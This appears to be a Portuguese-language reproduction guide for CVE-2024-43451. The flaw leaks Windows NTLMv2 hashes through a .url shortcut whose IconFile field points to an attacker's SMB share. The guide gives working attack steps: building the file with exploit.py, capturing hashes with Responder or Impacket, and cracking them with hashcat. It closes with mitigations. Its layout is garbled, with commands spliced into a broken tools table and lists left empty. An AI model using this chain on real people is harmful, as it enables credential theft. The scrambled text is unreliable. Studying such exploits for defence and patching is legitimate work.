
Reprodução de CVE: cve-2024-43451-ntlm_hash_disclosure_reproduction
A CVE-2024-43451 é uma vulnerabilidade de spoofing de divulgação de hash NTLMv2 no Windows. Ela permite que um atacante remoto não autenticado vaze o hash NTLM de uma vítima ao convencê-la a interagir com um arquivo de atalho .url malicioso. A vulnerabilidade é acionada com interação mínima do usuário — bastar clicar com o botão direito, excluir ou mover o arquivo para vazar o hash. Ela possui pontuação CVSS de 6.5 (Média) e tem sido explorada ativamente na natureza. A CISA a adicionou ao catálogo de Vulnerabilidades Conhecidas Exploradas (KEV).
NTLM (NT LAN Manager) é um protocolo de autenticação de desafio-resposta usado pelo Windows. Quando um cliente tenta acessar um recurso via SMB, o cliente e o servidor realizam um handshake:
NEGOTIATE_MESSAGE contendo as capacidades suportadas.CHALLENGE_MESSAGE contendo um nonce de 8 bytes (desafio do servidor).AUTHENTICATE_MESSAGE contendo o hash NTLMv2 — um HMAC-MD5 do desafio combinado com o hash da senha do usuário, nome de usuário e domínio.Se um atacante puder observar ou disparar uma tentativa de autenticação NTLM para uma máquina que ele controla, a AUTHENTICATE_MESSAGE capturada pode ser quebrada offline para recuperar a senha em texto puro.
Um arquivo .url é um arquivo de atalho usado pelo Internet Explorer e pelo Windows Explorer para armazenar links. É um arquivo formatado em INI com uma seção [InternetShortcut]. Os campos críticos para exploração são:
URL= — a URL de destino que o Windows abrirá.IconFile= — um caminho UNC opcional para um recurso de ícone. Quando o Windows Explorer renderiza o arquivo, ele tenta automaticamente recuperar o ícone do compartilhamento remoto, disparando uma tentativa de autenticação NTLM para o servidor do atacante.O atacante cria um arquivo .url com um parâmetro IconFile apontando para \\attacker-ip\share\icon.ico. Quando a vítima:
O Windows Explorer tenta carregar o ícone do caminho UNC, enviando o hash NTLMv2 da vítima para o listener SMB do atacante (ex.: Responder).
Todas as versões suportadas do Windows anteriores à atualização de Patch Tuesday de novembro de 2024:
| Ferramenta | Descrição |
|---|---|
| Responder | Envenenador LLMNR/NBT-NS/mDNS com servidor SMB integrado para captura de hashes |
| Impacket |
Usando o Responder:
sudo responder -I eth0 -v
Ou usando o Impacket:
sudo impacket-smbserver share . -smb2support
python exploit.py --ip 192.168.1.100 --output malicious.url
Qualquer uma das seguintes ações dispara o vazamento do hash:
O listener SMB do atacante recebe um hash NTLMv2:
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
# \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.
smbserver.py pode ser usado para hospedar um compartilhamento SMB simples |
| Inveigh | Ferramenta de captura NTLM baseada em PowerShell para Windows |
| Mitigação | Descrição |
|---|
| Aplicar o patch de novembro de 2024 | Instalar a atualização de segurança da Microsoft de KB5044285 |
| Bloquear SMB de saída (porta 445) | Impedir que hashes NTLM deixem o perímetro da rede |
| Desabilitar NTLM quando possível | Usar autenticação somente Kerberos |
| Habilitar assinatura SMB | Impede ataques de relay mesmo se os hashes forem capturados |
| Treinamento de conscientização do usuário | Educar os usuários a não interagir com arquivos .url inesperados |
| Restringir o manuseio de arquivos .url | Usar Política de Grupo para bloquear a execução ou o envio de arquivos .url por e-mail |